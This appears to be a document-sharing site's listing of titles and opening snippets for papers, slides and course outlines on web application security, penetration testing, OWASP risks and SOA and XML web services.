Technical white paper Getting started with API testing Test all layers of your composite applications, not just the GUI Table of contents Executive summary... 3 Introduction... 3 Who should read this document?...
Web Application Hacking (Penetration Testing) 5-day Hands-On Course
Web Application Hacking (Penetration Testing) 5-day Hands-On Course Web Application Hacking (Penetration Testing) 5-day Hands-On Course Course Description Our web sites are under attack on a daily basis
ArcGIS Server Security Threats & Best Practices 2014. David Cordes Michael Young
ArcGIS Server Security Threats & Best Practices 2014 David Cordes Michael Young Agenda Introduction Threats Best practice - ArcGIS Server settings - Infrastructure settings - Processes Summary Introduction
DISCOVERY OF WEB-APPLICATION VULNERABILITIES USING FUZZING TECHNIQUES
DISCOVERY OF WEB-APPLICATION VULNERABILITIES USING FUZZING TECHNIQUES By Michael Crouse Dr. Errin W. Fulp, Ph.D., Advisor Abstract The increasingly high volume of users on the web and their use of web
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
AquaLogic Service Bus
AquaLogic Bus Wolfgang Weigend Principal Systems Engineer BEA Systems 1 What to consider when looking at ESB? Number of planned business access points Reuse across organization Reduced cost of ownership
Project 2: Web Security Pitfalls
EECS 388 September 19, 2014 Intro to Computer Security Project 2: Web Security Pitfalls Project 2: Web Security Pitfalls This project is due on Thursday, October 9 at 6 p.m. and counts for 8% of your course
Application security testing: Protecting your application and data
E-Book Application security testing: Protecting your application and data Application security testing is critical in ensuring your data and application is safe from security attack. This ebook offers
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities
CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities Thomas Moyer Spring 2010 1 Web Applications What has changed with web applications? Traditional applications
Middleware and the Internet
Middleware and the Internet Middleware today Designed for special purposes (e.g. DCOM) or with overloaded specification (e.g. CORBA) Specifying own protocols integration in real world network? Non-performant
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security Presented 2009-05-29 by David Strauss Thinking Securely Security is a process, not
AXL Troubleshooting. Overview. Architecture
AXL Troubleshooting This chapter contains the following topics: Overview, page 35 Architecture, page 35 Postinstallation Checklist, page 36 Troubleshooting Tools, page 39 Error Codes, page 43 Overview
Detecting and Defending Against Security Vulnerabilities for Web 2.0 Applications
Detecting and Defending Against Security Vulnerabilities for Web 2.0 Applications Ray Lai, Intuit TS-5358 Share experience how to detect and defend security vulnerabilities in Web 2.0 applications using
Web-Application Security
Web-Application Security Kristian Beilke Arbeitsgruppe Sichere Identität Fachbereich Mathematik und Informatik Freie Universität Berlin 29. Juni 2011 Overview Web Applications SQL Injection XSS Bad Practice
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability
Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability WWW Based upon HTTP and HTML Runs in TCP s application layer Runs on top of the Internet Used to exchange
Implementation of Web Application Firewall
Implementation of Web Application Firewall OuTian 1 Introduction Abstract Web 層 應 用 程 式 之 攻 擊 日 趨 嚴 重, 而 國 內 多 數 企 業 仍 不 知 該 如 何 以 資 安 設 備 阻 擋, 仍 在 採 購 傳 統 的 Firewall/IPS,
XIII. Service Oriented Computing. Laurea Triennale in Informatica Corso di Ingegneria del Software I A.A. 2006/2007 Andrea Polini
XIII. Service Oriented Computing Laurea Triennale in Informatica Corso di Outline Enterprise Application Integration (EAI) and B2B applications Service Oriented Architecture Web Services WS technologies
FINAL DoIT 04.01.2013- v.8 APPLICATION SECURITY PROCEDURE
Purpose: This procedure identifies what is required to ensure the development of a secure application. Procedure: The five basic areas covered by this document include: Standards for Privacy and Security
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications Slides by Connor Schnaith Cross-Site Request Forgery One-click attack, session riding Recorded since 2001 Fourth out of top 25 most
Web Application Security
Chapter 1 Web Application Security In this chapter: OWASP Top 10..........................................................2 General Principles to Live By.............................................. 4
iscsi Security (Insecure SCSI) Presenter: Himanshu Dwivedi
iscsi Security (Insecure SCSI) Presenter: Himanshu Dwivedi Agenda Introduction iscsi Attacks Enumeration Authorization Authentication iscsi Defenses Information Security Partners (isec) isec Partners Independent
Java Web Application Security
Java Web Application Security RJUG Nov 11, 2003 Durkee Consulting www.rd1.net 1 Ralph Durkee SANS Certified Mentor/Instructor SANS GIAC Network Security and Software Development Consulting Durkee Consulting
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks. Whitepaper
Application Layer Encryption: Protecting against Application Logic and Session Theft Attacks Whitepaper The security industry has extensively focused on protecting against malicious injection attacks like
elearning for Secure Application Development
elearning for Secure Application Development Curriculum Application Security Awareness Series 1-2 Secure Software Development Series 2-8 Secure Architectures and Threat Modeling Series 9 Application Security
Essential IT Security Testing
Essential IT Security Testing Application Security Testing for System Testers By Andrew Muller Director of Ionize Who is this guy? IT Security consultant to the stars Member of OWASP Member of IT-012-04
Introduction to Testing Webservices
Introduction to Testing Webservices Author: Vinod R Patil Abstract Internet revolutionized the way information/data is made available to general public or business partners. Web services complement this
http://msdn.microsoft.com/en-us/library/4w3ex9c2.aspx
ASP.NET Overview.NET Framework 4 ASP.NET is a unified Web development model that includes the services necessary for you to build enterprise-class Web applications with a minimum of coding. ASP.NET is
T-110.5140 Network Application Frameworks and XML Web Services and WSDL 15.2.2010 Tancred Lindholm
T-110.5140 Network Application Frameworks and XML Web Services and WSDL 15.2.2010 Tancred Lindholm Based on slides by Sasu Tarkoma and Pekka Nikander 1 of 20 Contents Short review of XML & related specs
Web Application Security Assessment and Vulnerability Mitigation Tests
White paper BMC Remedy Action Request System 7.6.04 Web Application Security Assessment and Vulnerability Mitigation Tests January 2011 www.bmc.com Contacting BMC Software You can access the BMC Software
(WAPT) Web Application Penetration Testing
(WAPT) Web Application Penetration Testing Module 0: Introduction 1. Introduction to the course. 2. How to get most out of the course 3. Resources you will need for the course 4. What is WAPT? Module 1:
Where every interaction matters.
Where every interaction matters. Peer 1 Vigilant Web Application Firewall Powered by Alert Logic The Open Web Application Security Project (OWASP) Top Ten Web Security Risks and Countermeasures White Paper
WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats
WHITE PAPER FortiWeb and the OWASP Top 10 PAGE 2 Introduction The Open Web Application Security project (OWASP) Top Ten provides a powerful awareness document for web application security. The OWASP Top
Passing PCI Compliance How to Address the Application Security Mandates
Passing PCI Compliance How to Address the Application Security Mandates The Payment Card Industry Data Security Standards includes several requirements that mandate security at the application layer. These
Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group
Securing Your Web Application against security vulnerabilities Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group Agenda Security Landscape Vulnerability Analysis Automated Vulnerability
Columbia University Web Security Standards and Practices. Objective and Scope
Columbia University Web Security Standards and Practices Objective and Scope Effective Date: January 2011 This Web Security Standards and Practices document establishes a baseline of security related requirements
Ethical Hacking as a Professional Penetration Testing Technique
Ethical Hacking as a Professional Penetration Testing Technique Rochester ISSA Chapter Rochester OWASP Chapter - Durkee Consulting, Inc. [email protected] 2 Background Founder of Durkee Consulting since 1996
Introduction. Tom Dinkelaker, Ericsson Guido Salvaneschi, Mira Mezini, TUD
Introduction Tom Dinkelaker, Ericsson Guido Salvaneschi, Mira Mezini, TUD Agenda of KICK-OFF MEETING Introduction Organization of Course Topics Questions & Answers Ericsson Telekommunikation GmbH & Co.
MD Link Integration. 2013 2015 MDI Solutions Limited
MD Link Integration 2013 2015 MDI Solutions Limited Table of Contents THE MD LINK INTEGRATION STRATEGY...3 JAVA TECHNOLOGY FOR PORTABILITY, COMPATIBILITY AND SECURITY...3 LEVERAGE XML TECHNOLOGY FOR INDUSTRY
Modern XML applications
Modern XML applications XML in electronic data interchange, application integration and databases Patryk Czarnik Institute of Informatics University of Warsaw XML and Modern Techniques of Content Management
WEB SERVICES VULNERABILITIES
WEB SERVICES VULNERABILITIES A white paper outlining the application-level threats to web services Prepared By: Date: February 15, 2007 Nishchal Bhalla Sahba Kazerooni Abstract Security has become the
Sichere Software- Entwicklung für Java Entwickler
Sichere Software- Entwicklung für Java Entwickler Dominik Schadow Senior Consultant Trivadis GmbH 05/09/2012 BASEL BERN LAUSANNE ZÜRICH DÜSSELDORF FRANKFURT A.M. FREIBURG I.BR. HAMBURG MÜNCHEN STUTTGART
Security Testing For RESTful Applications
Security Testing For RESTful Applications Ofer Shezaf, HP Enterprise Security Products [email protected] What I do for a living? Product Manager, Security Solutions, HP ArcSight Led security research and product
Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert [email protected]
Application Security Testing Erez Metula (CISSP), Founder Application Security Expert [email protected] Agenda The most common security vulnerabilities you should test for Understanding the problems
Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011
Creating Stronger, Safer, Web Facing Code JPL IT Security Mary Rivera June 17, 2011 Agenda Evolving Threats Operating System Application User Generated Content JPL s Application Security Program Securing
000-284. Easy CramBible Lab DEMO ONLY VERSION 000-284. Test284,IBM WbS.DataPower SOA Appliances, Firmware V3.6.0
Easy CramBible Lab 000-284 Test284,IBM WbS.DataPower SOA Appliances, Firmware V3.6.0 ** Single-user License ** This copy can be only used by yourself for educational purposes Web: http://www.crambible.com/
SOAP Web Services Attacks
SOAP Web Services Attacks Part 1 Introduction and Simple Injection Are your web applications vulnerable? by Sacha Faust Table of Contents Introduction... 1 Background... 1 Limitations...1 Understanding
Installation and configuration guide
Installation and Configuration Guide Installation and configuration guide Adding X-Forwarded-For support to Forward and Reverse Proxy TMG Servers Published: May 2010 Applies to: Winfrasoft X-Forwarded-For
Data Breaches and Web Servers: The Giant Sucking Sound
Data Breaches and Web Servers: The Giant Sucking Sound Guy Helmer CTO, Palisade Systems, Inc. Lecturer, Iowa State University @ghelmer Session ID: DAS-204 Session Classification: Intermediate The Giant
Installation and configuration guide
Installation and Configuration Guide Installation and configuration guide Adding X-Username support to Forward and Reverse Proxy TMG Servers Published: December 2010 Applies to: Winfrasoft X-Username for
Introduction to Computer Security
Introduction to Computer Security Web Application Security Pavel Laskov Wilhelm Schickard Institute for Computer Science Modern threat landscape The majority of modern vulnerabilities are found in web
1 (11) Paperiton DMS Document Management System System Requirements Release: 2012/04 2012-04-16
1 (11) Paperiton DMS Document Management System System Requirements Release: 2012/04 2012-04-16 2 (11) 1. This document describes the technical system requirements for Paperiton DMS Document Management
DFW INTERNATIONAL AIRPORT STANDARD OPERATING PROCEDURE (SOP)
Title: Functional Category: Information Technology Services Issuing Department: Information Technology Services Code Number: xx.xxx.xx Effective Date: xx/xx/2014 1.0 PURPOSE 1.1 To appropriately manage
Copyright 2012, Oracle and/or its affiliates. All rights reserved.
1 OTM and SOA Mark Hagan Principal Software Engineer Oracle Product Development Content What is SOA? What is Web Services Security? Web Services Security in OTM Futures 3 PARADIGM 4 Content What is SOA?
Advanced Administration for Citrix NetScaler 9.0 Platinum Edition
Advanced Administration for Citrix NetScaler 9.0 Platinum Edition Course Length: 5 Days Course Code: CNS-300 Course Description This course provides the foundation to manage, configure and monitor advanced
Attack Vector Detail Report Atlassian
Attack Vector Detail Report Atlassian Report As Of Tuesday, March 24, 2015 Prepared By Report Description Notes [email protected] The Attack Vector Details report provides details of vulnerability
Thomas Röthlisberger IT Security Analyst [email protected]
Thomas Röthlisberger IT Security Analyst [email protected] Compass Security AG Werkstrasse 20 Postfach 2038 CH-8645 Jona Tel +41 55 214 41 60 Fax +41 55 214 41 61 [email protected] www.csnc.ch What
Improving Web Vulnerability Scanning. Daniel Zulla
Improving Web Vulnerability Scanning 1 Daniel Zulla Introduction Hey! 2 Hi there! I m Dan. This is my first year at DEFCON. I do programming and security start-ups. I do some penetration testing as well
